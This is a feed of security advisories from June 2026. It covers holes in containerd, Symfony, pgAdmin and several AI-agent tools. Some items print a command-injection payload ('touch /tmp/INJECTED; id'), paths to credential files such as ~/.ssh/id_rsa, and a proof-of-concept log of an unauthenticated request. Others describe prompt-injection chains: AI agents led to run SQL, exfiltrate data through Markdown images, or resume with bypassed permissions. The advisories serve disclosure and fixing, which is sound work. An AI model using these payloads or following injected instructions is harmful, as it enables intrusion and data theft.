                    <item>
                <title><![CDATA[containerd: CRI checkpoint import allows local image tag poisoning]]></title>
                <link>https://github.com/advisories/GHSA-cvxm-645q-p574</link>
                <description><![CDATA[## Impact
containerd's CRI checkpoint import process contains a vulnerability where it fails to validate the image references specified within a checkpoint image's configuration. An attacker with permissions to create pods can use a crafted checkpoint image to force containerd to pull a malicious image and assign it an arbitrary local tag, thereby poisoning the node's local image cache. Subsequently, if other pods on the same node attempt to use the poisoned tag with an `IfNotPresent` (or `Never`) pull policy, they will unknowingly execute the attacker's malicious image instead of the legitimate one. This can lead to a compromise of the affected pods, allowing the attacker to execute arbitrary code under the victim pod's identity.

## Patches
This bug has been fixed in the following containerd versions:

* 2.3.2
* 2.2.5
* 2.1.9

Users should update to these versions to resolve the issue.
## Workarounds
Users should only allow trusted images to be pulled.

## Credits
The containerd project would like to thank Henry Beberman (@hbeberman) of Microsoft, the GKE Security Team using Gemini, Anthropic Research, in collaboration with Claude, and Robert Prast (@robertprast) who independently discovered and responsibly disclosed this issue in accordance with the [containerd security policy](https://github.com/containerd/project/blob/main/SECURITY.md).

## For more information
If you have any questions or comments about this advisory:

* Open an issue in [containerd](https://github.com/containerd/containerd/issues/new/choose)
* Email us at [security@containerd.io](mailto:security@containerd.io)

To report a security issue in containerd:
* [Report a new vulnerability](https://github.com/containerd/containerd/security/advisories/new)
* Email us at [security@containerd.io](mailto:security@containerd.io)]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:04 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[symfony/ux-live-component: CSRF Protection Bypass — Accept Header is CORS-Safelisted]]></title>
                <link>https://github.com/advisories/GHSA-4m4j-hmqq-3gxm</link>
                <description><![CDATA[### Description

When using `symfony/ux-live-component`, methods annotated with `#[LiveAction]` are invokable from the browser and mutate server-side state via AJAX. `Symfony\UX\LiveComponent\EventListener\LiveComponentSubscriber::isLiveComponentRequest()` gated these invocations on the presence of `Accept: application/vnd.live-component+html`, with a code comment stating that this acted as a CSRF protection.

The `Accept` header is a [CORS-safelisted request header](https://fetch.spec.whatwg.org/#cors-safelisted-request-header), so a cross-origin `fetch()` can set it without triggering a preflight. The header therefore provided no CSRF protection. Any `#[LiveAction]` could be forged cross-origin against a victim's session.

In practice the attack is mitigated by `SameSite=Lax` session cookies (Symfony's default), but applications using `SameSite=None`, `credentials: 'include'` with a permissive cookie policy, or that have been pivoted from another same-origin vector remained exposed.

### Resolution

`isLiveComponentRequest()` now additionally requires the request header `X-Requested-With: XMLHttpRequest`. This header is **not** CORS-safelisted, so the browser issues a preflight `OPTIONS` request for any cross-origin attempt; Symfony does not advertise CORS for LiveComponent endpoints, the preflight fails, and the real request is blocked before it reaches the application. The bundled Stimulus client already sends `X-Requested-With` on every LiveComponent request (`RequestBuilder.ts`), so standard usage is unaffected. Cross-origin callers must add `X-Requested-With` to their CORS `Access-Control-Allow-Headers` allow-list.

The patch for this issue is available [here](https://github.com/symfony/ux/commit/aed7493db2b4b7bf1f9c79b33cda544f06904b27) for branch 2.x (and forward-ported to 3.x).

### Credits

Symfony would like to thank Anthropic (via Project Glasswing) for reporting the issue and Hugo Alliaume for providing the fix.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:04 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[symfony/ux-live-component: LiveComponentHydrator HMAC checksum lacks component and slot binding]]></title>
                <link>https://github.com/advisories/GHSA-34w5-c283-j9fg</link>
                <description><![CDATA[### Description

In `symfony/ux-live-component`, a component's server-side state is exposed to the browser as a set of props (`#[LiveProp]`-annotated properties). Props marked `writable: true` can be freely changed by the client. Read-only props are round-tripped to the browser and back, and their integrity is protected by an HMAC so the client cannot tamper with them. Child components additionally receive a `propsFromParent` blob, also HMAC-signed.

The HMAC computed by `Symfony\UX\LiveComponent\LiveComponentHydrator` covered only the sorted prop key/value pairs. It didn't include the component name, the slot identifier (`props` vs `propsFromParent`), or any request context, and a single application-wide secret is used for every component. A signed blob the server minted for component A is therefore a valid signature for component B if the key names happen to match, and a `props` blob can be replayed in the `propsFromParent` slot (or the reverse). An attacker can use this to set a read-only prop on a target component to a value they were only ever allowed to choose as a writable prop on another component.

### Resolution

The HMAC is now bound to its context: the component name and a slot identifier are included in the pre-image before hashing. Two constants (`CHECKSUM_SLOT_PROPS` and `CHECKSUM_SLOT_PROPS_FROM_PARENT`) name the two slots, and `calculateChecksum()`, `verifyChecksum()`, `addChecksumToData()`, and `ChildComponentPartialRenderer` thread these values through. Cross-component and cross-slot replays no longer verify.

The patch for this issue is available [here](https://github.com/symfony/ux/commit/a224b5af3e2e33ee14ac71356ae0e0877900a81c) for branch 2.x (and forward-ported to 3.x).

### Credits

Symfony would like to thank Anthropic (via Project Glasswing) for reporting the issue and Hugo Alliaume for providing the fix.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:04 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[AutoJack Attack Lets One Web Page Hijack AI Agent for Host Code Execution]]></title>
                <link>https://thehackernews.com/2026/06/autojack-attack-lets-one-web-page.html</link>
                <description><![CDATA[Microsoft researchers have detailed an exploit chain, named AutoJack, that turns an AI browsing agent into a delivery vehicle for remote code execution.

Steer the agent to load an attacker's web page, and that page's JavaScript can reach a privileged local service on the same machine and spawn a process on the host.

No credentials, no sign-in screen, and no further user interaction once]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 18:00:01 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2023-54353: Chromacam 4.0.3.0 contains an unquoted service path vulnerability in the PsyFrameGrabberService that allows local attack]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2023-54353</link>
                <description><![CDATA[Chromacam 4.0.3.0 contains an unquoted service path vulnerability in the PsyFrameGrabberService that allows local attackers to execute arbitrary code by placing malicious executables in unquoted path directories. Attackers with write access to C:\ or subdirectories like C:\Program Files (x86)\Personify\ can place a malicious Program.exe or PsyFrameGrabberService.exe file that executes with LocalSystem privileges when the service starts automatically at boot.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 12:00:44 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Agentic-Flow: OS Command Injection in agentic-flow MCP server tools via unsanitized tool-parameter interpolation into execSync]]></title>
                <link>https://github.com/advisories/GHSA-vcv2-r9jh-99m5</link>
                <description><![CDATA[## Summary

`agentic-flow` versions ` /tmp/rce.txt; echo \""
}
```

produces, after interpolation:

```
npx --yes agentic-flow --agent "coder" --task "x"; touch /tmp/INJECTED; id > /tmp/rce.txt; echo ""
```

When `execSync` hands that to `/bin/sh -c`, the shell parses three commands: the truncated `npx`, then `touch /tmp/INJECTED`, then `id > /tmp/rce.txt; echo ""`. The marker file `/tmp/INJECTED` is created and the user's `id` output is written to `/tmp/rce.txt`.

## Patches

Fixed in [`agentic-flow@2.0.14`](https://www.npmjs.com/package/agentic-flow/v/2.0.14) — every affected call site rewritten to use `execFileSync(file, argv, { shell: false })` so attacker-controlled argv elements are passed straight to `execve(2)` without shell parsing.

Fix PR: ruvnet/agentic-flow#170 (merged at `0c2ec96`)

A regression test (`tests/security/cwe-78-mcp-execsync.test.ts`) was added that statically scans every `src/mcp/**/*.ts` file and fails the build if any new `execSync()` call is reintroduced outside of a documented exemption, plus a behavioural smoke check that the canonical PoC payload remains inert when passed as an argv element to `execFileSync`.

## Workarounds

Upgrade to `agentic-flow >= 2.0.14`. There is no in-product configuration that mitigates this without upgrading.

## Downstream pin

The `ruflo` / `claude-flow` / `@claude-flow/cli` packages bumped from `3.12.3` → `3.12.4` to pull the patched `agentic-flow`:

- `ruflo@3.12.4`
- `claude-flow@3.12.4`
- `@claude-flow/cli@3.12.4`

End users running any of `npx ruflo@latest`, `npx claude-flow@latest`, or `npx @claude-flow/cli@latest` are pinned to the fixed version.

## Credit

Reported by **hackchang** via a well-scoped red-team report package (`npm_agentic-flow_report_package_20260618_163017.zip`) that included a sink inventory, a minimized PoC payload, and a clear explanation of why this was a partial-fix gap rather than intended behaviour. The sink inventory directly drove the single-grep pass that closed every reachable call site; the PoC payload became the behavioural smoke test that proves the canonical attack stays inert as an argv element.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:04 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[ouroboros-ai: Incomplete fix of CVE-2026-47211: untrusted project .env can still reach RCE via omitted execution-routing keys]]></title>
                <link>https://github.com/advisories/GHSA-jv2h-4p9v-wf5w</link>
                <description><![CDATA[### Impact
The CVE-2026-47211 fix (0.39.0) added `_UNTRUSTED_ENV_DENYLIST` to stop an untrusted project-directory `.env` from redirecting execution. The denylist was incomplete — several execution-routing keys of the same RCE class were omitted, so a malicious cloned repo can still reach arbitrary command execution by shipping a `.env` (auto-loaded at import, no review step):

- **Backend config-home roots** `CODEX_HOME`, `OPENCODE_CONFIG`, `OPENCODE_CONFIG_DIR`, `XDG_CONFIG_HOME`: a spawned vendor CLI resolves its config from these. `CODEX_HOME=./.evil` + committed `./.evil/config.toml` redirects the nested Codex agent to attacker config — `mcp_servers..command/args` (RCE) and `approval_policy="never"` / `sandbox_mode="danger-full-access"` (silent removal of the human approval gate). (reported by matte1782)
- **MCP bridge / plugin execution roster** `OUROBOROS_MCP_CONFIG` (the YAML's server `command`/`args` are spawned via stdio_client — RCE), `OUROBOROS_PLUGIN_LOCKFILE`, `OUROBOROS_PLUGIN_TRUST_ROOT` (redirect the installed-plugin roster / trust root so `ooo ` dispatches into attacker code). (reported by hackkim)
- **SSRF guard toggle** `OUROBOROS_ALLOW_LOCAL_TRANSPORT` (re-enables loopback/private MCP transport targets).
- **Instruction / capability roots** `OUROBOROS_AGENTS_DIR`, `COPILOT_CUSTOM_INSTRUCTIONS_DIRS` (replace spawned sub-agent role prompts), `OUROBOROS_RUNTIME_PROFILE` (backend selector), `OUROBOROS_TOOL_CAPABILITIES` (override YAML can lower a tool's `approval_class`, weakening the approval gate).

Additionally, the MCP bridge auto-loaded `./.ouroboros/mcp_servers.yaml` from the working directory (`create_bridge_from_env(cwd=Path.cwd())`), so running `ooo` inside a malicious repo spawned the committed roster's `command` — RCE with no `.env` at all. (cwd-branch noted by hackkim)

### Patches
Fixed in 0.42.1. All listed keys were added to `_UNTRUSTED_ENV_DENYLIST`; the cwd auto-discovery branch was removed (only the explicit `OUROBOROS_MCP_CONFIG` env var and `~/.ouroboros/mcp_servers.yaml` remain, both trusted). The regression suite now derives from the source denylist to prevent future drift.

### Workarounds
Do not run Ouroboros from an untrusted/cloned repository directory; remove any project-directory `.env` and `./.ouroboros/mcp_servers.yaml` before running.

### Credit
Reported privately via coordinated disclosure by matte1782 and hackkim (https://github.com/hackkim).]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:04 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[ReDoS in DotVVM routing]]></title>
                <link>https://github.com/advisories/GHSA-c2g3-c4gc-w5wg</link>
                <description><![CDATA[### Impact

This impacts users which use multiple unconstrained route parameters not separated by a `/`. For instance, the following code is vulnerable:
```
var route = new DotvvmRoute("edit/{a}-{b}-{c}/done", null, "testpage", null, null, configuration);

var adversarialInput = "edit/" + new string('-', 32000);
route.IsMatch(adversarialInput, out _);
```

### Patches

DotVVM versions 4.3.15, 4.2.11 and 5.0.0-preview09 apply a 1 second timeout to route regex operations. When it is triggered, DotVVM permanently switches to using the .NET non-backtracking regex engine for this route.
If non-backtracking is not supported by target runtime (< .NET 8.0), DotVVM returns HTTP 503 when the 1 second timeout is reached.

### Workarounds

Avoid multiple unconstrained route parameters in one section not separated by a `/`.
See  for documentation of route parameter constraints.
Even with the patched version we recommend doing this both as security hardening and to avoid ambiguity.

For instance, when we change the route URL to `"edit/{a:alpha}-{b:alpha}-{c}/done"`, the problem disappears.
If all available constraints are too restrictive, we can still use `{a:regex([^-]*)}` to forbid the `-`, which is enough to remove the mabiguity]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:04 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Network-AI: CVE-2026-46701 fix incomplete — empty default secret still authorizes all requests]]></title>
                <link>https://github.com/advisories/GHSA-r78r-rwrf-rjwp</link>
                <description><![CDATA[## Advisory / Disclosure

# Network-AI — CVE-2026-46701 fix is incomplete: the "Empty Default Secret" unauth path survives

**Target:** Jovancoding/Network-AI (npm `network-ai`), **latest v5.7.1**
**Status:** the advisory ("Unauthenticated Cross-Origin MCP Tool Invocation via Empty
Default Secret") named three flaws. The fix (5.4.5) closed the **CORS** flaw
(`Access-Control-Allow-Origin` is now set only for localhost origins), but left the
**empty-default-secret** flaw the title is about: the SSE MCP server still defaults to an
empty secret, `_isAuthorized()` still returns `true` when the secret is empty, and a
non-loopback bind only **warns**. So the server still runs **fully unauthenticated by
default** — any non-browser caller (curl, SSRF, or a `0.0.0.0` bind) can invoke all 22 MCP
tools (`config_set`, `agent_spawn`, `blackboard_write`, `token_*`) with no credentials.
**Class:** CWE-306/CWE-862 Missing Authentication — incomplete fix.
**Methodology:** M1 incomplete-fix audit (anchor = the 5.4.5 fix; sibling-walk on latest v5.7.1, executed).
**Severity:** High (matches parent; the browser amplifier is removed, so exploitation now
needs non-browser reach — SSRF or a non-loopback bind, which the fix only warns about).

## What the fix did and didn't do (verified on latest v5.7.1)
| advisory flaw | latest v5.7.1 |
|---|---|
| wildcard CORS (`ACAO: *`) | **FIXED** — `lib/mcp-transport-sse.ts` sets `ACAO` only when `origin` matches `^https?://(localhost\|127\.0\.0\.1)(:\d+)?$` |
| empty default secret | **NOT FIXED** — `bin/mcp-server.ts`: `secret: process.env['NETWORK_AI_MCP_SECRET'] ?? ''` |
| `_isAuthorized` open on empty secret | **NOT FIXED** — `if (!this._opts.secret) return true;` |
| require secret / refuse unauth bind | **NOT DONE** — `listen()` only `process.stderr.write('… WARNING …')` on non-loopback bind, then listens anyway |

The advisory's remediation #1 ("Require a non-empty secret at startup … `process.exit(1)`")
was not implemented.

## PoC (executed against the latest source, v5.7.1) — `poc/legend-networkai-empty-secret.ts`
Instantiates the real `McpSseServer` from the latest `lib/` with a mock bridge and the
**default (empty) secret**, then issues requests (run-log `poc/run-log.txt`):

```
POST /mcp  no-auth, no-origin (curl/SSRF) -> HTTP 200, dispatched=true
   body: {"jsonrpc":"2.0","id":1,"result":{"executed":true,"tool":"config_set"}}
POST /mcp  Origin: evil.example.com        -> ACAO=undefined   (CORS half fixed)
```
The no-auth request passes `_isAuthorized` and reaches `handleRPC` (tool dispatched) — i.e.
unauthenticated tool invocation persists on the latest release; only the browser-CORS read
amplifier was removed.

Run: from a v5.7.1 checkout, `npm i` then
`npx ts-node --transpile-only poc/legend-networkai-empty-secret.ts`.

## Recommended fix
Implement the advisory's remediation #1: refuse to start SSE mode with an empty secret
(unless `--stdio`), and/or change `_isAuthorized` to fail closed (an empty configured
secret should mean "deny", not "allow"). The CORS allowlist alone does not authenticate
non-browser callers.

## Precondition / honesty
With CORS now localhost-only, the drive-by *browser* attack is mitigated. The residual
requires a non-browser path to the port: an SSRF on the host, or the operator binding to a
non-loopback address (Docker/remote), which the fix only warns about. The empty secret
remains the shipped default and `_isAuthorized` still authorizes it.

## Credits

@Kai Aizen / @SnailSploit — https://snailsploit.com]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:04 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Every AI Agent Is an Identity. Most Organizations Don't Treat Them That Way]]></title>
                <link>https://www.bleepingcomputer.com/news/security/every-ai-agent-is-an-identity-most-organizations-dont-treat-them-that-way/</link>
                <description><![CDATA[AI agents can access data, trigger workflows, deploy code, and interact with critical business systems, often with little oversight. Token Security breaks down why AI agents are becoming a new identity and governance challenge. [...]]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 18:00:01 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[From Assistive to Agentic: The AI Shift That's Redefining Threat Management]]></title>
                <link>https://thehackernews.com/2026/06/from-assistive-to-agentic-ai-shift.html</link>
                <description><![CDATA[Introduction

The average enterprise security team has 40 or more security tools, giving a lot of visibility into internal telemetry and asset data. But often, these tools are working in siloes, generating (overlapping) alerts and data. And yet, breach dwell times remain stubbornly long (~43 days), response windows keep closing before teams can act, and analysts burn out triaging noise instead]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 18:00:01 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Cisco to Acquire WideField Security to Boost Splunk’s Agentic SOC]]></title>
                <link>https://www.securityweek.com/cisco-to-acquire-widefield-security-to-boost-splunks-agentic-soc/</link>
                <description><![CDATA[WideField will accelerate Agentic SOC capabilities by expanding the lens on threat investigation to include identity, credentials, sessions, and blast radius.
The post Cisco to Acquire WideField Security to Boost Splunk’s Agentic SOC appeared first on SecurityWeek.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 18:00:01 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2026-12048: Stored cross-site scripting in pgAdmin 4's error-rendering and plan-node-rendering paths. Text returned by a PostgreSQL ]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2026-12048</link>
                <description><![CDATA[Stored cross-site scripting in pgAdmin 4's error-rendering and plan-node-rendering paths. Text returned by a PostgreSQL server (ErrorResponse messages, including object names quoted back inside relation-does-not-exist errors and inside EXPLAIN Recheck Cond / Exact Heap Blocks fields) was passed verbatim through html-react-parser at every user-facing sink — the notifier toasts, FormFooterMessage / FormInput help and error areas, FormNote, ModalProvider AlertContent and confirmDelete, ToolErrorView, the Explain visualiser's NodeText panel, the SQL editor confirm dialogs, ConfirmSaveContent, PreferencesHelper modal alerts, and SelectThemes helper text. A PostgreSQL server an attacker controls — or any server returning attacker-influenced text such as a table or column name a low-privilege database user can create — could inject arbitrary HTML (including ) into the pgAdmin DOM the moment the victim's pgAdmin connected to that server or viewed an Explain plan that referenced the crafted object.

The injected iframe's srcdoc could fetch attacker-served JavaScript and, by writing to parent.location, redirect the victim's top-level pgAdmin browser tab to an attacker-controlled URL. Because the injection originates from inside pgAdmin's own interface, standard anti-clickjacking controls (X-Frame-Options, Content-Security-Policy: frame-ancestors) do not mitigate it. A phishing page rendered inside the legitimate pgAdmin window is indistinguishable from a genuine pgAdmin dialog.

Fix combines three complementary layers. (1) DOMPurify sanitisation is wrapped around every html-react-parser call site reachable from notifier, alert, form-error, Explain, and SQL-editor flows. (2) A new plain-text rendering contract — SafeMessage / SafeHtmlMessage components plus Notifier.errorText / alertText / warningText / infoText / successText helpers — is introduced; around fifty callers across browser, tools, dashboard, debugger, misc, llm, preferences, schema diff, and the SQL editor that previously interpolated backend-derived strings are migrated to the plain-text variants. (3) Backend HTML-escape is applied at the post-connection-SQL handler (execute_post_connection_sql) via a new sanitize_external_text helper, so third-party JSON consumers (audit logs, API clients) never receive raw markup either; the Explain plan-info renderer is also patched to _.escape Recheck Cond and Exact Heap Blocks at construction (matching every sibling field), giving defence in depth even before DOMPurify runs.

This issue affects pgAdmin 4: from 6.0 before 9.16.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Fri, 19 Jun 2026 12:00:31 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2026-12045: Read-only transaction bypass in the pgAdmin 4 AI Assistant allows an attacker who can influence database content that th]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2026-12045</link>
                <description><![CDATA[Read-only transaction bypass in the pgAdmin 4 AI Assistant allows an attacker who can influence database content that the assistant reads to execute arbitrary SQL with the privileges of the pgAdmin user's database role.

The AI Assistant's execute_sql_query tool runs LLM-generated SQL inside a BEGIN TRANSACTION READ ONLY wrapper to prevent data modification. The LLM-supplied query was forwarded to the database driver without restriction to a single statement or to read-only verbs, so a multi-statement payload beginning with COMMIT, END, ROLLBACK, or ABORT terminated the read-only transaction and ran subsequent statements in autocommit mode. The trailing ROLLBACK then had no effect.

Delivery is via prompt injection: an attacker who can write content into any object the AI Assistant may inspect (a row, a column value, a comment) can cause the LLM to emit the multi-statement payload as a tool call. With ordinary write privileges on the pgAdmin user's role the attacker can perform unauthorised data modification. When the pgAdmin user's role is a PostgreSQL superuser or holds pg_execute_server_program, the chain extends to remote code execution on the database server host via COPY ... TO PROGRAM.

Fix validates the LLM-supplied query up front: it must parse to exactly one non-empty / non-comment statement whose leading real token (after stripping whitespace, comments, and punctuation) is one of SELECT, WITH, EXPLAIN, SHOW, VALUES, or TABLE. Transaction-control verbs, DML, DDL, CALL, COPY, DO, SET/RESET, and everything else are rejected before any database work happens. PostgreSQL's READ ONLY mode continues to backstop data-modifying CTEs, EXPLAIN ANALYZE on writes, and volatile side effects.

This issue affects pgAdmin 4: from 9.13 before 9.16.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Fri, 19 Jun 2026 12:00:31 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2026-56075: PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode appro]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2026-56075</link>
                <description><![CDATA[PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approval_mode to auto, overriding administrator configuration from PRAISON_APPROVAL_MODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient command sanitization blocklists.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Fri, 19 Jun 2026 12:00:31 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2026-54130: Missing authentication for critical function in M365 Copilot allows an unauthorized attacker to disclose information ove]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2026-54130</link>
                <description><![CDATA[Missing authentication for critical function in M365 Copilot allows an unauthorized attacker to disclose information over a network.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Fri, 19 Jun 2026 12:00:31 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2026-49257: mcp-pinot is a Python-based Model Context Protocol (MCP) server for interacting with Apache Pinot. In versions 3.0.1 and]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2026-49257</link>
                <description><![CDATA[mcp-pinot is a Python-based Model Context Protocol (MCP) server for interacting with Apache Pinot. In versions 3.0.1 and below, mcp-pinot defaults to running an HTTP MCP server bound to 0.0.0.0:8080 with no authentication enabled. All MCP tools, including SQL query execution, schema creation, and table-config mutation, are reachable by any network-adjacent caller. The server proxies these calls using server-side Pinot credentials, producing a confused-deputy condition that yields full read/write access to the configured Pinot cluster. This issue has been fixed in version 3.1.0]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Fri, 19 Jun 2026 12:00:31 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[gemini-mcp-tool vulnerable to OS command injection and @file exfiltration via prompt quoting (CVE-2026-0755)]]></title>
                <link>https://github.com/advisories/GHSA-4h5r-5jm8-jxjm</link>
                <description><![CDATA[Untrusted prompt input could reach the Gemini CLI @file parser, allowing read/exfiltration of arbitrary local files (@/etc/passwd, @~/.ssh/id_rsa, @../../secret). On Windows, unquoted cmd.exe metacharacters could break out into OS command injection.

Fix (1.1.6): removed the broken shell:false double-quote wrapping; added assertSafeFileReferences() to contain @file refs to the working directory; hardened Windows cmd.exe argument quoting.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Fri, 19 Jun 2026 01:00:02 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[[Eclipse Theia] Indirect Prompt Injection via Auto-Loaded Workspace Prompt Template Files in AI Chat]]></title>
                <link>https://github.com/advisories/GHSA-m973-pr9r-hp2w</link>
                <description><![CDATA[In Eclipse Theia versions prior to 1.71.0, files matching the pattern .prompts/*.prompttemplate in a workspace were automatically loaded and could override or extend the AI agent's system prompts. An attacker could craft a malicious repository containing prompt template files that, when the workspace was opened in Theia, replaced the AI's system instructions with attacker-controlled content (indirect prompt injection). Combined with other AI chat features available in untrusted workspaces, this enabled attack chains leading to data exfiltration via Markdown image rendering or arbitrary command execution via task definitions.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:04 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[[Eclipse Theia] Data Exfiltration via Markdown Image Rendering in AI Chat]]></title>
                <link>https://github.com/advisories/GHSA-qwjm-9c66-w4q4</link>
                <description><![CDATA[In Eclipse Theia versions prior to 1.71.0, the AI chat rendered Markdown image tags from AI responses, triggering HTTP requests to arbitrary external URLs without restriction. Combined with prompt injection in a malicious workspace, an attacker could induce the AI agent to construct image URLs encoding sensitive information from the workspace or conversation context, exfiltrating it to attacker-controlled servers. The workspace trust enforcement introduced in v1.71.0 mitigates the documented attack chain by disabling AI features in untrusted workspaces.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:04 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[[Eclipse Theia] Indirect Prompt Injection via Adversarial Workspace File and Directory Names in AI Chat]]></title>
                <link>https://github.com/advisories/GHSA-3jww-hxqj-wfq2</link>
                <description><![CDATA[In Eclipse Theia versions prior to 1.71.0, the AI chat agent processed workspace file and directory names as part of its prompt context without distinguishing them from system instructions. An attacker could craft a malicious repository with adversarial directory or file names that, when analyzed by the AI agent, would cause the agent to follow attacker-controlled instructions (indirect prompt injection). Combined with other AI chat features available in untrusted workspaces, this enabled attack chains leading to data exfiltration via Markdown image rendering or arbitrary command execution via task definitions.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:04 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[AgenticMail: Unauthenticated inbound mail triggers bypassPermissions resume of the operator's Claude Code session (bridge-wake)]]></title>
                <link>https://github.com/advisories/GHSA-fq4x-789w-jg5h</link>
                <description><![CDATA[## Summary
Two inbound-mail handlers act on a privileged effect without verifying that the sender is the operator, while a sibling handler in the same repo does. The higher-impact one: any external email routed to the bridge inbox causes the dispatcher to resume the operator's Claude Code session with `permissionMode: 'bypassPermissions'`, embedding the attacker-controlled `from`/`subject`/`preview` verbatim into the prompt the resumed agent reads — an indirect prompt injection into a fully-privileged agent (Bash/Write/Edit/WebFetch + the agenticmail MCP toolbelt) running as the operator's OAuth identity. The sibling operator-query email-reply hook gates the same untrusted-From provenance with `isOperatorReplySender(replyFrom, config.operatorEmail)` (fail-closed); the bridge-wake path — a strictly higher-privilege effect — has no equivalent.

## Affected code (current HEAD, commit b95f52e)
Untrusted provenance: external inbound email enters at `packages/api/src/routes/inbound.ts:41` (POST /mail/inbound); the `x-inbound-secret` authenticates only the relay->API hop, not the external sender, so `from`/`subject`/`preview` are attacker-controlled.

Privileged sink (bridge-wake, bypassPermissions):
- `packages/claudecode/src/dispatcher.ts:2040` `handleBridgeMail` extracts `subject`/`from`/`preview` (`:2045-2049`) and calls `planBridgeWake({ session, mail: { ..., from, preview } })` (`:2052`) with NO sender check — routing keys only on session freshness (skip-live / escalate / resume).
- `planBridgeWake` -> `packages/core/src/host-bridge.ts:141` `composeBridgeWakePrompt` embeds the untrusted `from`/`subject`/`preview` (preview sliced to 600 chars at `:144`) verbatim into the prompt.
- `packages/claudecode/src/bridge-wake.ts:103` `resumeBridgeSession` runs the prompt via the Claude Code SDK with `permissionMode: 'bypassPermissions'` against the operator's last session (resume + same mcpServers).

Guarded sibling (same class, authenticated): `packages/api/src/routes/inbound.ts:102` rejects an operator-query email reply unless `isOperatorReplySender(replyFrom, config.operatorEmail)` (def `packages/core/src/phone/realtime-tools.ts:999`, fail-closed when no operatorEmail), with a v0.9.53 security-review comment (`inbound.ts:93-100`) stating inbound mail provenance is untrusted and an emailed answer is only honored when its From matches the configured operator. The Telegram sibling likewise gates on `operatorChatId`. The bridge-wake path ignores this exact lesson.

Secondary instance (same root cause): `packages/core/src/gateway/manager.ts:261` `tryProcessApprovalReply` releases a held outbound email on an "approve" reply matched only by `In-Reply-To` / `notification_message_id`, with no sender check — again unlike the `isOperatorReplySender` sibling.

## Impact
In a configured headless-bridge deployment (operator uses the CLI so a host-session is saved; session fresh  arbitrary OS command execution, filesystem read/write, and exfiltration under the operator's OAuth identity. The auth gap (no sender check on the bridge path) is structural and unconditional; the impact realization is config-conditional and depends on the resumed model following injected instructions.

## Proof of concept (static / request-difference; dynamic on operator's OWN setup only)
Static: the from/subject/preview extracted at dispatcher.ts:2045-2049 flow into composeBridgeWakePrompt (host-bridge.ts:141) and resumeBridgeSession (bridge-wake.ts:103) with no interposed sender check, while the sibling inbound.ts:102 has one — the same untrusted-From provenance is authenticated on one privileged email path and not on the higher-privileged one. Dynamic (own instance only): with a configured bridge + fresh host-session, send mail from a non-operator address into the bridge inbox whose subject/preview contains a benign instruction writing a fresh CSPRNG marker; observe the resumed bypassPermissions session act on it. Use only your own instance; do not target third-party deployments.

## Suggested fix
